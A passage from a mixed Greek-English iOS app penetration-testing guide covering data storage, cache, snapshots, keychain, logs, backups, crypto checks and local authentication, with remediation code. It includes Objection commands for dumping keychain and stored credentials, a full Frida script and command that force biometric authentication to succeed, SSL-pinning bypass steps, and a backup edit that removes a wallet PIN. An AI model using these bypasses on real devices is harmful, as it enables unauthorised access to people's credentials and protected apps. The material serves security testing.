Για να εξετάσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε this python script ή την εντολή του objection ios cookies get.\ Μπορείτε επίσης να χρησιμοποιήσετε το objection για να μετατρέψετε αυτά τα αρχεία σε μορφή JSON και να εξετάσετε τα δεδομένα.
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
Cache
Από προεπιλογή το NSURLSession αποθηκεύει δεδομένα, όπως HTTP requests and responses in the Cache.db database. Αυτή η βάση δεδομένων μπορεί να περιέχει sensitive data, εάν tokens, usernames ή οποιαδήποτε άλλη ευαίσθητη πληροφορία έχει been cached. Για να βρείτε τις cached πληροφορίες ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (/var/mobile/Containers/Data/Application/<UUID>) και μεταβείτε σε /Library/Caches/<Bundle Identifier>. Η WebKit cache is also being stored in the Cache.db file. Objection μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή sqlite connect Cache.db, καθώς είναι normal SQLite database.
Είναι recommended to disable Caching this data, καθώς μπορεί να περιέχει ευαίσθητες πληροφορίες στο request ή response. Η παρακάτω λίστα δείχνει διαφορετικούς τρόπους για να το πετύχετε:
- Συνιστάται να αφαιρούνται Cached responses μετά το logout. Αυτό μπορεί να γίνει με την παρεχόμενη μέθοδο από την Apple called
removeAllCachedResponsesΜπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
URLCache.shared.removeAllCachedResponses()
Αυτή η μέθοδος θα αφαιρέσει όλα τα cached requests και responses από το αρχείο Cache.db.
- Εάν δεν χρειάζεστε το πλεονέκτημα των cookies, συνιστάται να χρησιμοποιήσετε απλώς την .ephemeral configuration property του URLSession, που θα απενεργοποιήσει την αποθήκευση cookies και Caches.
An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.
- Το Cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας το Cache Policy σε .notAllowed. Αυτό θα απενεργοποιήσει την αποθήκευση Cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
Snapshots
Κάθε φορά που πατάτε το home button, το iOS takes a snapshot of the current screen για να μπορεί η μετάβαση στην εφαρμογή να γίνει πιο ομαλά. Ωστόσο, εάν sensitive data υπάρχει στην τρέχουσα οθόνη, θα αποθηκευτεί στην εικόνα (η οποία persists across reboots). Αυτά είναι τα snapshots που μπορείτε επίσης να προβάλετε κάνοντας διπλό πάτημα στο home screen για να αλλάξετε εφαρμογές.
Εκτός αν το iPhone είναι jailbroken, ο attacker πρέπει να έχει access στη device unblocked για να δει αυτά τα screenshots. Από προεπιλογή το τελευταίο snapshot αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο Library/Caches/Snapshots/ ή Library/SplashBoard/Snapshots (the trusted computers can’ t access the filesystem from iOX 7.0).
Μια μέθοδος για να αποτραπεί αυτή η ανεπιθύμητη συμπεριφορά είναι να εμφανίσετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν γίνει το snapshot χρησιμοποιώντας τη συνάρτηση ApplicationDidEnterBackground().
The following is a sample remediation method that will set a default screenshot.
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C:
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
Αυτό ορίζει την εικόνα φόντου σε overlayImage.png κάθε φορά που η εφαρμογή περνάει σε background. Αποτρέπει sensitive data leaks επειδή η overlayImage.png θα υπερισχύει πάντα της τρέχουσας προβολής.
Keychain
Για την πρόσβαση και διαχείριση του iOS keychain, είναι διαθέσιμα εργαλεία όπως Keychain-Dumper, κατάλληλα για jailbroken συσκευές. Επιπλέον, Objection παρέχει την εντολή ios keychain dump για παρόμοιους σκοπούς.
Αποθήκευση Διαπιστευτηρίων
Η κλάση NSURLCredential είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών κατευθείαν στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλους wrappers. Για να αποθηκεύσετε διαπιστευτήρια μετά τη σύνδεση, χρησιμοποιείται ο ακόλουθος κώδικας Swift:
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
Για την εξαγωγή αυτών των αποθηκευμένων credentials χρησιμοποιείται η εντολή Objection ios nsurlcredentialstorage dump.
Προσαρμοσμένα Πληκτρολόγια και Cache Πληκτρολογίου
Από το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένα keyboard extensions, τα οποία διαχειρίζονται μέσω Settings > General > Keyboard > Keyboards. Ενώ αυτά τα πληκτρολόγια προσφέρουν επιπλέον λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και αποστολής δεδομένων σε εξωτερικούς servers, αν και οι χρήστες ειδοποιούνται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν, και θα πρέπει, να περιορίσουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
Προτάσεις Ασφαλείας:
- Συνιστάται η απενεργοποίηση third-party keyboards για αυξημένη ασφάλεια.
- Να έχετε υπόψη σας τις λειτουργίες αυτόματης διόρθωσης και αυτόματων υποδείξεων (autocorrect και auto-suggestions) του προεπιλεγμένου πληκτρολογίου iOS, οι οποίες θα μπορούσαν να αποθηκεύσουν ευαίσθητες πληροφορίες σε αρχεία cache που βρίσκονται στο
Library/Keyboard/{locale}-dynamic-text.datή στο/private/var/mobile/Library/Keyboard/dynamic-text.dat. Αυτά τα αρχεία cache θα πρέπει να ελέγχονται τακτικά για ευαίσθητα δεδομένα. Η επαναφορά του λεξικού πληκτρολογίου μέσω Settings > General > Reset > Reset Keyboard Dictionary συνιστάται για τον καθαρισμό των αποθηκευμένων στην cache δεδομένων. - Η υποκλοπή δικτυακής κίνησης μπορεί να αποκαλύψει εάν ένα προσαρμοσμένο πληκτρολόγιο αποστέλλει καταγραφές πλήκτρων απομακρυσμένα.
Αποτροπή προσωρινής αποθήκευσης πεδίου κειμένου
Το UITextInputTraits protocol προσφέρει ιδιότητες για τη διαχείριση της αυτόματης διόρθωσης και της ασφαλούς εισαγωγής κειμένου, σημαντικές για την αποτροπή της προσωρινής αποθήκευσης ευαίσθητων πληροφοριών. Για παράδειγμα, η απενεργοποίηση της αυτόματης διόρθωσης και η ενεργοποίηση της ασφαλούς εισαγωγής κειμένου μπορεί να επιτευχθούν με:
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
Επιπλέον, οι προγραμματιστές πρέπει να διασφαλίζουν ότι τα πεδία κειμένου, ειδικά αυτά για την εισαγωγή ευαίσθητων πληροφοριών όπως κωδικοί πρόσβασης και PINs, απενεργοποιούν την προσωρινή αποθήκευση ορίζοντας το autocorrectionType σε UITextAutocorrectionTypeNo και το secureTextEntry σε YES.
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
Logs
Η αποσφαλμάτωση του κώδικα συχνά περιλαμβάνει τη χρήση του logging. Υπάρχει κίνδυνος, καθώς τα logs ενδέχεται να περιέχουν ευαίσθητες πληροφορίες. Προηγουμένως, σε iOS 6 και παλαιότερες εκδόσεις, τα logs ήταν προσβάσιμα από όλες τις εφαρμογές, θέτοντας κίνδυνο για sensitive data leakage. Τώρα, οι εφαρμογές περιορίζονται στο να έχουν πρόσβαση μόνο στα δικά τους logs.
Παρά αυτούς τους περιορισμούς, ένας επιτιθέμενος με φυσική πρόσβαση σε μια ξεκλείδωτη συσκευή μπορεί ακόμα να το εκμεταλλευτεί συνδέοντας τη συσκευή σε έναν υπολογιστή και διαβάζοντας τα logs. Είναι σημαντικό να σημειωθεί ότι τα logs παραμένουν στον δίσκο ακόμα και μετά την απεγκατάσταση της εφαρμογής.
Για να μετριαστούν οι κίνδυνοι, συνιστάται να αλληλεπιδράτε διεξοδικά με την εφαρμογή, εξερευνώντας όλες τις λειτουργίες και τις εισόδους της ώστε να διασφαλιστεί ότι δεν καταγράφονται ακούσια ευαίσθητες πληροφορίες.
Κατά την ανασκόπηση του πηγαίου κώδικα της εφαρμογής για πιθανές leaks, αναζητήστε τόσο predefined όσο και custom logging statements χρησιμοποιώντας λέξεις-κλειδιά όπως NSLog, NSAssert, NSCAssert, fprintf για ενσωματωμένες συναρτήσεις, και οποιεσδήποτε αναφορές σε Logging ή Logfile για custom υλοποιήσεις.
Monitoring System Logs
Οι εφαρμογές γράφουν logs με διάφορες πληροφορίες που μπορεί να είναι ευαίσθητες. Για να παρακολουθήσετε αυτά τα logs, εργαλεία και εντολές όπως:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
είναι χρήσιμα. Επιπλέον, Xcode παρέχει έναν τρόπο για τη συλλογή καταγραφών κονσόλας:
- Ανοίξτε το Xcode.
- Συνδέστε τη συσκευή iOS.
- Πλοηγηθείτε σε Window -> Devices and Simulators.
- Επιλέξτε τη συσκευή σας.
- Προκαλέστε το ζήτημα που διερευνάτε.
- Χρησιμοποιήστε το κουμπί Open Console για να δείτε τις καταγραφές σε νέο παράθυρο.
Για πιο προχωρημένες καταγραφές, η σύνδεση στο shell της συσκευής και η χρήση του socat μπορούν να παρέχουν παρακολούθηση καταγραφών σε πραγματικό χρόνο:
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
Ακολουθούν εντολές για την παρακολούθηση δραστηριοτήτων στα logs, οι οποίες μπορούν να είναι ανεκτίμητες για τη διάγνωση προβλημάτων ή την αναγνώριση πιθανής διαρροής δεδομένων στα logs.
Αντίγραφα ασφαλείας
Δυνατότητες αυτόματης δημιουργίας αντιγράφων (Auto-backup features) είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων των δεδομένων της συσκευής μέσω iTunes (μέχρι macOS Catalina), Finder (από macOS Catalina και μετά), ή iCloud. Αυτά τα backups περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων εξαιρετικά ευαίσθητων στοιχείων όπως πληροφορίες Apple Pay και ρυθμίσεις Touch ID.
Κίνδυνοι ασφαλείας
Η συμπερίληψη των εγκατεστημένων εφαρμογών και των δεδομένων τους στα backups εγείρει το ζήτημα της πιθανής διαρροής δεδομένων και τον κίνδυνο ότι οι τροποποιήσεις του backup θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής. Συνιστάται να μην αποθηκεύετε ευαίσθητες πληροφορίες σε plaintext μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή σε υποφακέλους της για να μετριάσετε αυτούς τους κινδύνους.
Εξαίρεση αρχείων από τα αντίγραφα ασφαλείας
Αρχεία μέσα σε Documents/ και Library/Application Support/ συμπεριλαμβάνονται στα αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα backups χρησιμοποιώντας NSURL setResourceValue:forKey:error: με το NSURLIsExcludedFromBackupKey. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από τη συμπερίληψή τους στα αντίγραφα ασφαλείας.
Έλεγχος για ευπάθειες
Για να αξιολογήσετε την ασφάλεια του backup μιας εφαρμογής, ξεκινήστε με τη δημιουργία αντιγράφου ασφαλείας χρησιμοποιώντας Finder, και στη συνέχεια εντοπίστε το ακολουθώντας τις οδηγίες από Apple’s official documentation. Αναλύστε το backup για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν ώστε να επηρεάσουν τη συμπεριφορά της εφαρμογής.
Ευαίσθητες πληροφορίες μπορούν να αναζητηθούν χρησιμοποιώντας εργαλεία γραμμής εντολών ή εφαρμογές όπως iMazing. Για κρυπτογραφημένα backups, η παρουσία κρυπτογράφησης μπορεί να επιβεβαιωθεί ελέγχοντας το κλειδί “IsEncrypted” στο αρχείο “Manifest.plist” στη ρίζα του backup.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
Για την αντιμετώπιση κρυπτογραφημένων αντιγράφων ασφαλείας, Python scripts available in DinoSec’s GitHub repo, όπως backup_tool.py και backup_passwd.py, μπορεί να είναι χρήσιμα, αν και ενδέχεται να απαιτούν προσαρμογές για συμβατότητα με τις πιο πρόσφατες εκδόσεις του iTunes/Finder. Το iOSbackup tool είναι μια άλλη επιλογή για την πρόσβαση σε αρχεία μέσα σε αντίγραφα ασφαλείας προστατευμένα με κωδικό.
Τροποποίηση Συμπεριφοράς Εφαρμογής
Ένα παράδειγμα αλλαγής της συμπεριφοράς μιας εφαρμογής μέσω τροποποιήσεων αντιγράφου ασφαλείας επιδεικνύεται στην Bither bitcoin wallet app, όπου ο κωδικός PIN κλειδώματος του UI αποθηκεύεται μέσα στο net.bither.plist κάτω από το κλειδί pin_code. Η αφαίρεση αυτού του κλειδιού από το plist και η επαναφορά του αντιγράφου ασφαλείας καταργούν την απαίτηση PIN, παρέχοντας ανεμπόδιστη πρόσβαση.
Περίληψη σχετικά με τον Έλεγχο Μνήμης για Ευαίσθητα Δεδομένα
Όταν χειρίζεστε ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την έρευνα του περιεχομένου μνήμης: δημιουργία dump μνήμης και ανάλυση της μνήμης σε πραγματικό χρόνο. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένης της πιθανότητας να χάσετε κρίσιμα δεδομένα κατά τη διαδικασία dump ή την ανάλυση.
Ανάκτηση και Ανάλυση ενός Dump Μνήμης
Για τόσο τις jailbroken όσο και τις non-jailbroken συσκευές, εργαλεία όπως objection και Fridump επιτρέπουν το dump της μνήμης μιας διεργασίας εφαρμογής. Μόλις γίνει dump, η ανάλυση αυτών των δεδομένων απαιτεί διάφορα εργαλεία, ανάλογα με τη φύση των πληροφοριών που αναζητάτε.
Για εξαγωγή συμβολοσειρών από ένα dump μνήμης, μπορούν να χρησιμοποιηθούν εντολές όπως strings ή rabin2 -zz:
# Extracting strings using strings command
$ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή μοτίβων, radare2 προσφέρει εκτεταμένες δυνατότητες αναζήτησης:
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
Runtime Memory Analysis
r2frida παρέχει μια ισχυρή εναλλακτική για την επιθεώρηση της μνήμης μιας εφαρμογής σε πραγματικό χρόνο, χωρίς να απαιτείται memory dump. Αυτό το εργαλείο επιτρέπει την εκτέλεση εντολών αναζήτησης απευθείας στη μνήμη της εκτελούμενης εφαρμογής:
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
Broken Cryptography
Κακές διαδικασίες διαχείρισης κλειδιών
Μερικοί προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί hardcoded/predictable στον κώδικα. Αυτό δεν πρέπει να γίνεται καθώς κάποια reversing μπορεί να επιτρέψει σε attackers να εξάγουν τις εμπιστευτικές πληροφορίες.
Χρήση μη ασφαλών και/ή Deprecated Algorithms
Οι προγραμματιστές δεν πρέπει να χρησιμοποιούν deprecated algorithms για να εκτελέσουν authorisation checks, store ή send δεδομένα. Μερικοί από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1… Αν χρησιμοποιούνται hashes για την αποθήκευση κωδικών, για παράδειγμα, θα πρέπει να χρησιμοποιηθούν hashes brute-force resistant με salt.
Check
Οι βασικοί έλεγχοι που πρέπει να εκτελεστούν είναι να βρείτε αν υπάρχουν hardcoded passwords/secrets στον κώδικα, αν αυτά είναι predictable, και αν ο κώδικας χρησιμοποιεί κάποιο είδος weak cryptography αλγορίθμων.
Είναι χρήσιμο να γνωρίζετε ότι μπορείτε να monitor μερικές crypto libraries αυτόματα χρησιμοποιώντας objection με:
ios monitor crypt
Για περισσότερες πληροφορίες σχετικά με τα iOS cryptographic APIs και τις βιβλιοθήκες επισκεφθείτε https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
Τοπική Αυθεντικοποίηση
Η τοπική αυθεντικοποίηση παίζει κρίσιμο ρόλο, ειδικά όταν αφορά την προστασία πρόσβασης σε ένα απομακρυσμένο endpoint μέσω κρυπτογραφικών μεθόδων. Η ουσία εδώ είναι ότι χωρίς σωστή υλοποίηση, οι μηχανισμοί τοπικής αυθεντικοποίησης μπορούν να παρακαμφθούν.
Apple’s Local Authentication framework και the keychain παρέχουν ισχυρά APIs για τους προγραμματιστές ώστε να διευκολύνουν διαλόγους αυθεντικοποίησης χρήστη και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave προστατεύει το fingerprint ID για Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να θέτει σε κίνδυνο τα βιομετρικά δεδομένα.
Για να ενσωματώσουν Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API:
LocalAuthentication.frameworkγια αυθεντικοποίηση χρήστη υψηλού επιπέδου χωρίς πρόσβαση στα βιομετρικά δεδομένα.Security.frameworkγια πρόσβαση σε υπηρεσίες keychain χαμηλότερου επιπέδου, προστατεύοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Various open-source wrappers κάνουν την πρόσβαση στο keychain πιο απλή.
Caution
Ωστόσο, και τα δύο
LocalAuthentication.frameworkκαιSecurity.frameworkπαρουσιάζουν ευπάθειες, καθώς επιστρέφουν κυρίως boolean τιμές χωρίς να μεταδίδουν δεδομένα για τις διαδικασίες αυθεντικοποίησης, καθιστώντας τα ευάλωτα σε παράκαμψη (ανατρέξτε στο Don’t touch me that way, by David Lindner et al).
Υλοποίηση Τοπικής Αυθεντικοποίησης
Για να ζητήσουν από τους χρήστες να αυθεντικοποιηθούν, οι προγραμματιστές πρέπει να χρησιμοποιούν τη μέθοδο evaluatePolicy της κλάσης LAContext, επιλέγοντας μεταξύ:
deviceOwnerAuthentication: Ζητάει Touch ID ή device passcode, αποτυγχάνει αν κανένα δεν είναι ενεργοποιημένο.deviceOwnerAuthenticationWithBiometrics: Αιτείται αποκλειστικά Touch ID.
Μια επιτυχής αυθεντικοποίηση υποδεικνύεται από μια boolean τιμή επιστροφής από τη evaluatePolicy, αναδεικνύοντας μια πιθανή ευπάθεια ασφαλείας.
Τοπική Αυθεντικοποίηση με χρήση Keychain
Η υλοποίηση της τοπικής αυθεντικοποίησης σε iOS εφαρμογές περιλαμβάνει τη χρήση των keychain APIs για την ασφαλή αποθήκευση μυστικών δεδομένων όπως authentication tokens. Αυτή η διαδικασία διασφαλίζει ότι τα δεδομένα μπορούν να προσεγγιστούν μόνο από τον χρήστη, χρησιμοποιώντας το device passcode ή βιομετρική αυθεντικοποίηση όπως το Touch ID.
Το keychain προσφέρει τη δυνατότητα να οριστούν αντικείμενα με το attribute SecAccessControl, το οποίο περιορίζει την πρόσβαση στο αντικείμενο μέχρι ο χρήστης να αυθεντικοποιηθεί επιτυχώς μέσω Touch ID ή device passcode. Αυτή η λειτουργία είναι κρίσιμη για την ενίσχυση της ασφάλειας.
Παρακάτω υπάρχουν παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε ένα string στο/από το keychain, αξιοποιώντας αυτές τις λειτουργίες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμιστεί ο έλεγχος πρόσβασης ώστε να απαιτείται αυθεντικοποίηση μέσω Touch ID και να διασφαλίζεται ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία δημιουργήθηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί device passcode.
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
Τώρα μπορούμε να ζητήσουμε το αποθηκευμένο στοιχείο από το keychain. Οι Keychain services θα παρουσιάσουν το παράθυρο ελέγχου ταυτότητας στον χρήστη και θα επιστρέψουν data ή nil ανάλογα με το αν παρασχέθηκε κατάλληλο fingerprint ή όχι.
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
Εντοπισμός
Η χρήση frameworks σε μια εφαρμογή μπορεί επίσης να ανιχνευθεί αναλύοντας τη λίστα των κοινών δυναμικών βιβλιοθηκών (shared dynamic libraries) του δυαδικού αρχείου της εφαρμογής. Αυτό μπορεί να γίνει με τη χρήση του otool:
$ otool -L <AppName>.app/<AppName>
Αν η LocalAuthentication.framework χρησιμοποιείται σε μια εφαρμογή, η έξοδος θα περιέχει και τις δύο από τις παρακάτω γραμμές (σημειώστε ότι η LocalAuthentication.framework χρησιμοποιεί εσωτερικά τη Security.framework):
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
Αν χρησιμοποιηθεί το Security.framework, θα εμφανιστεί μόνο το δεύτερο.
Local Authentication Framework Bypass
Objection
Μέσω του Objection Biometrics Bypass, που βρίσκεται στη this GitHub page, είναι διαθέσιμη μια τεχνική για την παράκαμψη του μηχανισμού LocalAuthentication. Ο πυρήνας αυτής της προσέγγισης περιλαμβάνει τη χρήση του Frida για να χειριστεί τη συνάρτηση evaluatePolicy, διασφαλίζοντας ότι επιστρέφει σταθερά True, ανεξαρτήτως της πραγματικής επιτυχίας επαλήθευσης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής επαλήθευσης.
Για να ενεργοποιηθεί αυτό το bypass, χρησιμοποιείται η ακόλουθη εντολή:
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
Αυτή η εντολή προκαλεί μια αλληλουχία όπου το Objection καταχωρεί μια εργασία που ουσιαστικά αλλάζει το αποτέλεσμα του ελέγχου evaluatePolicy σε True.
Frida
Ένα παράδειγμα χρήσης του evaluatePolicy από την εφαρμογή DVIA-v2 application:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
Για να επιτευχθεί το bypass του Local Authentication, γράφεται ένα Frida script. Αυτό το script στοχεύει τον έλεγχο evaluatePolicy, παρεμβαίνοντας στο callback του ώστε να επιστρέφει success=1. Αλλάζοντας τη συμπεριφορά του callback, ο έλεγχος αυθεντικοποίησης παρακάμπτεται (bypass) αποτελεσματικά.
Το script παρακάτω εγχέεται για να τροποποιήσει το αποτέλεσμα της μεθόδου evaluatePolicy. Αλλάζει το αποτέλεσμα του callback ώστε να υποδεικνύει πάντα επιτυχία.
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
Για να εγχυθεί το Frida script και να παρακαμφθεί η βιομετρική αυθεντικοποίηση, χρησιμοποιείται η ακόλουθη εντολή:
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
Έκθεση Ευαίσθητης Λειτουργικότητας μέσω IPC
Custom URI Handlers / Deeplinks / Custom Schemes
iOS Custom URI Handlers / Deeplinks / Custom Schemes
Universal Links
UIActivity Sharing
UIPasteboard
App Extensions
WebViews
Serialisation and Encoding
iOS Serialisation and Encoding
Δικτυακή Επικοινωνία
Είναι σημαντικό να ελέγξετε ότι δεν υπάρχει επικοινωνία χωρίς κρυπτογράφηση και επίσης ότι η εφαρμογή επαληθεύει σωστά το TLS certificate του server.
Για να ελέγξετε αυτού του είδους τα θέματα μπορείτε να χρησιμοποιήσετε έναν proxy όπως το Burp:
Έλεγχος hostname
Ένα συνηθισμένο πρόβλημα κατά την επικύρωση του TLS certificate είναι να ελέγχεται ότι το certificate υπογράφτηκε από μια έμπιστη CA, αλλά να μην ελέγχεται αν το hostname του πιστοποιητικού είναι το hostname που προσπελάζεται.
Για να ελέγξετε αυτό το ζήτημα με το Burp, αφού εμπιστευτείτε το Burp CA στο iPhone, μπορείτε να δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για διαφορετικό hostname και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε υπάρχει ευπάθεια.
Certificate Pinning
If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application this might be a problem as Burp will serve it’s own certificate.
In order to bypass this protection inside a jailbroken device, you can install the application SSL Kill Switch or install Burp Mobile Assistant
You can also use objection’s ios sslpinning disable
Διάφορα
- Στο
/System/Libraryμπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο και χρησιμοποιούνται από τις συστημικές εφαρμογές - Οι εφαρμογές που εγκαθιστά ο χρήστης από το App Store βρίσκονται μέσα στο
/User/Applications - Και το
/User/Libraryπεριέχει δεδομένα που αποθηκεύονται από εφαρμογές σε επίπεδο χρήστη - Μπορείτε να έχετε πρόσβαση σε
/User/Library/Notes/notes.sqliteγια να διαβάσετε τις σημειώσεις που έχουν αποθηκευτεί στην εφαρμογή. - Μέσα στον φάκελο μιας εγκατεστημένης εφαρμογής (
